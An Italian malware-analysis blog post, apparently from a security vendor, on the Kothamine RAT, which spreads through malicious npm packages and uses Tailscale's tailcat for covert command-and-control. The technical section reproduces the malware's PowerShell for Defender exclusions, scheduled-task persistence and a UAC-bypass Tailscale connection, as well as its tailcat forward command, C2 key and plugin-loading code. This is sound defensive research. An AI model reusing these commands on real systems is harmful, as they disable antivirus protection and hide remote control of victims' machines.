Il malware Kothamine utilizza Tailcat di Tailscale per eludere il rilevamento di rete. 

| 25 settembre 2026
Il malware Kothamine utilizza Tailcat di Tailscale per eludere il rilevamento di rete. 

Abbiamo scoperto un Trojan di accesso remoto (RAT) non documentato chiamato Kothamine Agent . Supporta più di 30 comandi e dà agli aggressori il controllo di un sistema infetto. Windows computer: possono eseguire comandi, leggere e modificare file e aggiungere nuove funzionalità. Alcune versioni possono anche rubare dati dal browser e registrare tramite fotocamera e microfono. 

Abbiamo scoperto che Kothamine è collegato a pacchetti npm dannosi, il che potrebbe mettere a rischio utenti e sviluppatori che installano tali pacchetti. Nelle versioni più recenti, il malware utilizza tailcat , uno strumento open source di Tailscale, per ricevere comandi tramite una connessione crittografata. Ciò rende le sue comunicazioni più difficili da ispezionare e non fornisce ai difensori un dominio di comando e controllo (C2) convenzionale da bloccare.

In base ai caricamenti di VirusTotal e ai commit di GitHub, Kothamine sembra essere in fase di sviluppo o distribuzione almeno da luglio. Le versioni precedenti utilizzavano Tailscale. VPN al posto di tailcat. A seconda della versione, il malware include gli strumenti di rete o li scarica da fonti come GitHub.

Come stare al sicuro 

Prima di installare un pacchetto npm sconosciuto, controlla il suo repository, i manutentori, le dipendenze e le versioni recenti. Cerca segnalazioni di attività dannose e privilegia i pacchetti con una storia consolidata e una manutenzione regolare.

  • Controlla attentamente il nome. Assicurati di non scaricare un pacchetto falso con un nome simile. 
  • Verifica lo sviluppatore o l'organizzazione e assicurati che l'editore appaia legittimo. Controlla, ad esempio, se ha un sito web o un repository GitHub. 
  • Leggi alcune recensioni, segnalazioni di problemi e report. Cerca il nome del pacchetto su Google e verifica se sono stati rilevati malware. 
  • Osservate quanto è popolare. Un pacchetto con molti download e utenti è generalmente più facile da verificare rispetto a un pacchetto nuovo di zecca con una storia praticamente inesistente. 

Analisi tecnica

Kothamine e i pacchetti npm dannosi

Kothamine è scritto in C e C++. Nella maggior parte dei campioni analizzati, è costituito da un iniettore e da una DLL contenente l'agente. L'agente supporta più di 30 comandi, consentendo all'operatore di controllare il sistema infetto e caricare DLL aggiuntive per estenderne le funzionalità.

Kothamine Agent ha subito alcune modifiche nel corso del tempo. Le versioni precedenti che abbiamo trovato su VirusTotal utilizzavano Tailscale VPN anziché tailcat, e le stringhe non erano crittografate. Alcune funzionalità, tra cui l'elusione del Controllo account utente (UAC) e i comandi stealer, sono state rilevate solo in determinate build. 

In alcune versioni, Kothamine scaricava i file di Tailscale dal sito web ufficiale di Tailscale o da un repository GitHub anziché includerli nell'agente.

Lo stesso repository GitHub è citato in un avviso riguardo a un pacchetto npm dannoso denominato dotnet-runtime-baseIl pacchetto download npm-sc-legit.exe da quel repository. Al momento della stesura di questo testo, altri due pacchetti pubblicati dallo stesso sviluppatore erano stati rimossi.

Gli autori dietro queste campagne hanno commesso un errore e hanno pubblicato le istruzioni per la compilazione kothamine-stub-cpp in uno dei pacchetti. La guida tratta anche del caricamento degli assembly .NET, cosa che non abbiamo riscontrato negli esempi analizzati.

Il npm-sc-legit.exe L'eseguibile è una versione compilata di Kothamine che contiene anche comandi per il furto di dati. Non abbiamo trovato un pannello o un builder per Kothamine, ma le funzionalità presenti nelle diverse build suggeriscono che gli operatori possono abilitare funzioni e comandi specifici a seconda delle necessità.

La seguente analisi si concentra su un recente campione dell'agente Kothamine che utilizza tailcat per la comunicazione con il comando e controllo (C2).

Come funziona l'agente Kothamine

Nelle versioni analizzate, un eseguibile denominato internamente Kothamine Injector inietta la DLL dell'agente Kothamine, tipicamente in explorer.exeFacciamo inoltre riferimento alle versioni precedenti per mostrare come l'agente si è evoluto.

1. Iniettore di Kothamine

L'iniettore di kothamine esegue le seguenti operazioni: 

  • Aggiunge Windows Esclusioni di Defender tramite PowerShell
  • Si copia per %ROAMING%\MicrosoftEdgeUpdateCore.exe
  • Estrae la DLL dell'agente in %ROAMING%\MicrosoftEdgeUpdateCore.dll
  • Crea up.ps1 in %TEMP% per la persistenza
  • Inietta la DLL dell'agente in explorer.exe utilizzando OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread, e LoadLibraryA

Il up.ps1 Lo script crea un'attività pianificata per ottenere la persistenza utilizzando l'eseguibile Injector: 

$A=New-ScheduledTaskAction -Execute 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe'  
$T=New-ScheduledTaskTrigger -AtLogOn Register-ScheduledTask 'MicrosoftEdgeUpdateTask' -Action $A -Trigger $T -RunLevel Limited -Force 

2. Agente Kothamine 

Startup di agenti 

L'agente crea un mutex denominato Local\KothamineAgentInstance e avvia il suo thread principale.

Esegue quindi i comandi PowerShell per aggiungere l'eseguibile e la DLL al Windows Elenco di esclusione dei difensori:

powershell -NoP -NonI -W Hidden -Exec Bypass -Command "
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\Desktop' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionPath 'C:\Users\{USER}\AppData\Roaming\MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue;  
Add-MpPreference -ExclusionProcess '{PROCESS_NAME}.exe' -ErrorAction SilentlyContinue; 
Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.exe' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionProcess 'MicrosoftEdgeUpdateCore.dll' -ErrorAction SilentlyContinue"

Nelle versioni precedenti, le stringhe non venivano crittografate. Le versioni più recenti decrittografano le stringhe direttamente nel codice sorgente o tramite funzioni che utilizzano l'operazione XOR con una chiave diversa per ogni stringa.

Comunicazione C2 tramite tailcat 

La caratteristica distintiva di Kothamine non è la complessità tecnica, la funzionalità dell'agente o l'offuscamento, ma il suo utilizzo di tailcat e Tailscale VPN per ricevere comandi da eseguire. Ciò fornisce all'agente un canale di comunicazione resiliente e crittografato.

Tailcat è un recente progetto open-source rilasciato dal team di Tailscale. Tailcat utilizza il piano dati di Tailscale (WireGuard, NAT traversal e DERP) ma senza il suo piano di controllo. Secondo la documentazione ufficiale, ciò significa che Tailcat non ha indirizzi IP, account, amministratori, utenti, controlli amministrativi o governance. Queste caratteristiche lo rendono quindi uno strumento interessante per l'utilizzo in malware. 

A differenza di Tailscale VPN Tailcat non richiede la registrazione di un account o di un dispositivo. I suoi sviluppatori lo hanno progettato per connessioni di breve durata.

Poiché non sono previsti account, l'accesso si basa sul possesso di un indirizzo tailcat e delle chiavi pubbliche utilizzate per identificare i dispositivi di connessione. Ciò non rende la connessione completamente anonima: i relay ospitati potrebbero conservare i log dei metadati.

Il tc-address Il passaggio con il flag "forward" consente al client di ottenere le informazioni necessarie per instradare correttamente la richiesta. Inoltre, tailcat non richiede l'accesso privilegiato alla macchina, poiché utilizza lo strumento CLI e le librerie dello spazio utente. 

Nelle versioni recenti di Kothamine, l'agente estrae tailcat dalle sue risorse e lo salva come %ROAMING%\TailscalePortable\tailcat.exe.

L'eseguibile tailcat viene avviato con il CreateProcessA funzione e i seguenti parametri (internamente denominati spawn_tailcat_forward fase): 

"C:\Users\{USER}\AppData\Roaming\TailscalePortable\tailcat.exe" forward  tc…. 18080:4444 

Questo comando rende disponibili le porte del server tailcat come porte TCP locali standard (18080 in questo caso) e le richieste vengono inoltrate alla porta 4444 del nodo dell'operatore. Kothamine utilizza funzioni socket per connettersi a 127.0.0.1:18080, dove tailcat è in ascolto. 

Se la stringa ID agente non è vuota, l'agente invia una richiesta di profilo crittografata contenente le seguenti informazioni (run_c2_loop fase): 

{"name":"base_<rand()>","os":"Windows","ip":"0.0.0.0","auth_token":"af27..,"type":"base"} 

Successivamente, l'agente entra in un ciclo infinito per ricevere comandi da eseguire dal C2 (run_c2_loop fase). L'agente attende nuovi comandi da eseguire utilizzando il select Gestisce la funzione socket e invia periodicamente messaggi KEEP-ALIVE se non riceve un comando. 

I messaggi scambiati con il C2 vengono crittografati e decrittografati utilizzando AES-GCM (aes_encrypt fase).  

La chiave AES a 32 byte viene decodificata in base64 dalla stringa (c2_key fase): 

mrowPsW2P5kzFGCNWeKAd+kYpo8Yy5c2pzaOSRuzisU= 

Comandi supportati 

In questa build, l'agente Kothamine supporta 30 comandi correlato a: 

  • Interazione con i processi
  • Interazione con file e directory
  • Eseguire comandi della shell
  • Estensione delle funzionalità dell'agente in base alle DLL ricevute
Nome del comando Descrizione 
sysinfo/systeminfo, curpid Restituisce informazioni di sistema, come PID, percorso corrente, nome host e sistema operativo (codificato in modo fisso). 
tasklist, kill Restituisce i processi ottenuti tramite " tasklist /FO CSV /NH ". Termina il processo specificato dal PID utilizzando " taskkill /F /PID ". 
ping Controllo di attività, "Pong" ritorna in C2. 
ipconfig Esegue il comando " ipconfig /all " e ne restituisce il risultato. 
exec, shell_execEsegue i comandi della shell con _popen() e ne invia l'output. 
mkdir, rmdir, cp, mv, cd, ls, dir, pwdInteragisce con file e cartelle presenti nel sistema. 
writefile_start, writefile_chunk, writefile_end, writefile, readfile, createfile, delfile, downloadLegge, scrive ed elimina file di qualsiasi tipo. 
load_featureScrive e carica una DLL codificata in base64 ricevuta. La DLL viene caricata utilizzando LoadLibraryA e viene eseguito il metodo " GetFeatureApi ", risolto tramite GetProcAddress . Salva i puntatori alle funzioni necessari per eseguire la funzione. 
exec_feature, features, list_features, unload_featureInteragisce con le funzionalità caricate per visualizzarle, eseguirle o rimuoverle. 

Dato che gli altri comandi sono comuni agli altri agenti, l'analisi si concentra sul sistema di "plugin" che consente all'operatore di ricevere DLL ed estendere le funzionalità dell'agente. 

sistema di plugin 

Per caricare una nuova DLL, l'operatore utilizza il comando: 

load_feature <name> <B64EncodedDLL> 

A grandi linee, il processo funziona come segue. Il codice e i nomi delle variabili riportati di seguito sono ricostruiti a partire dai log di utilizzo e di output.

  1. Innanzitutto, l'agente verifica se la funzionalità è già stata caricata e, in tal caso, la scarica: 
if (g_features.find(name) != g_features.end()) {
    send_text("[!] " + name + " already loaded, unloading first");
    unload_feature(name);
}

  

  1. Tenta di creare la DLL ricevuta in una posizione ottenuta tramite GetTempPath o SHGetFolderPathA, oppure nel percorso hardcoded C:\Windows\Temp. Scrive la DLL decodificata e la carica con LoadLibraryA.
  1. Risolve ed esegue il GetFeatureApi metodo della DLL caricata: 
pGFA = GetProcAddress(hModDLL, "GetFeatureApi");
if (!pGFA) {
    send_text("[!] GetProcAddress(GetFeatureApi) failed, lastError= …");
    FreeLibrary(hMod);
    return 0;
}
api = pGFA();

Non abbiamo trovato una DLL che ci permettesse di analizzare completamente la struttura restituita da GetFeatureApiTuttavia, analizzando il codice e le stringhe, abbiamo identificato questi campi: 

/* Function used for C2 callback */
typedef void (*FeatureSendCb)(void *data, int len);

struct FeatureApi {
    char *version;
    char *name;
    void (*init)(FeatureSendCb send);
    void (*exec)(char *args, FeatureSendCb send);
    void (*cleanup)(void);
};

I puntatori alla DLL caricata e alla struttura restituita vengono salvati nella variabile globale variabile chiamata internamente g_features, utilizzando questa struttura: 

struct LoadedFeature {
    void *hModule;          /* Loaded DLL */
    struct FeatureApi *api; /* Pointer returned by GetFeatureApi() */
};

                            

  1. Esegue il init funzione contenuta nella struttura restituita, passandole la funzione utilizzata per la comunicazione C2: 
send_text("[!] calling init..."); 
api->init(*feature_send_callback);   
send_text("[!] init done");

Dopo il caricamento della funzionalità, l'operatore può eseguirla utilizzando il comando: 

exec_feature <functionName> [args] 

Diverse configurazioni di Kothamine: Squama di coda VPN , Bypass UAC e comandi di furto 

Come accennato in precedenza, abbiamo rilevato versioni di Kothamine con funzionalità diverse.

Le versioni precedenti utilizzavano la Tailscale VPN prima che Tailcat venisse rilasciato. Hanno scaricato ed eseguito il programma di installazione dal sito Web di Tailscale con il /quiet e /silent bandiere, oppure scaricato i file richiesti direttamente da GitHub. Questi includevano tailscaled.exe, tailscale.exe, tailscale-ipn.exe, e wintun.dll.

Alcune versioni aggirano il Controllo dell'account utente (UAC) utilizzando fodhelper.exe correre elevated.ps1Nell'esempio seguente, lo script PowerShell avvia un Tailscale VPN connessione:

$tsdir='C:\Users\{USER}\AppData\Roaming\TailscalePortable'
$ts='""'+$tsdir+'\\tailscale.exe""'
$tsd='""'+$tsdir+'\\tailscaled.exe""'
Start-Process -WindowStyle Hidden -FilePath $tsd -WorkingDirectory $tsdir
$connected=$false
for ($i=0; $i -lt 45; $i++) {
    Start-Sleep 2
    try { &$ts up --unattended=true --auth-key='tskey-auth-…' 2>&1 | Out-Null } catch {}
    $ip=(&$ts ip 2>&1 | Out-String)
    if ($ip -match '100\.') { $connected=$true; break }
}

L'agente si connette quindi alla porta 4444 a un indirizzo IP di rete Tailscale (100.x.x.x) e inizia a ricevere ed eseguire i comandi.

Infine, come accennato in precedenza, diverse build di Kothamine supportano altri comandi. Ad esempio, la versione caricata su GitHub include comandi aggiuntivi tra cui getdiscord, getsessions, screenshot, screenshare, e cameraQuesti strumenti consentono agli operatori di:

  • Rubare i cookie da vari browser
  • Rubare file JSON relativi ai videogiochi, inclusi file associati a Steam e Minecraft.
  • Esegui schermate e registra tramite fotocamera e microfono
  • Accedere al contenuto degli appunti

Indicatori di compromissione

Hash SHA-256 

  • ec4219a7ecf132c29080fbb20e4ab410c57faa85aeed7acade1eb15d905a6ee0: Analisi dell'iniettore di kothamine nel blog 
  • 74eca3973ad72a6ddc9397aff8250d9ee287211fc9a055d5ee290d01cf76a70c: L'agente Kothamine analizzato nel blog 

URL 

  • https://github[.]com/cphc811-ui/: Repository utilizzato per download file eseguibili e DLL associati a Tailscale VPN 

Ringraziamenti    

Avviso di Mondoo sul pacchetto npm analizzato .


Naviga come se nessuno ti guardasse. 

Malwarebytes Privacy VPN la tua connessione e non registra mai le tue attività, così la prossima notizia che leggerai non ti sembrerà una questione personale.Provalo gratis → 

Informazioni sull'autore

Gabriele è un ingegnere specializzato nella ricerca sul malware che ama combattere il malware. Quando non è impegnato in questo, lo si può trovare a godersi la natura, l'arte e gli animali.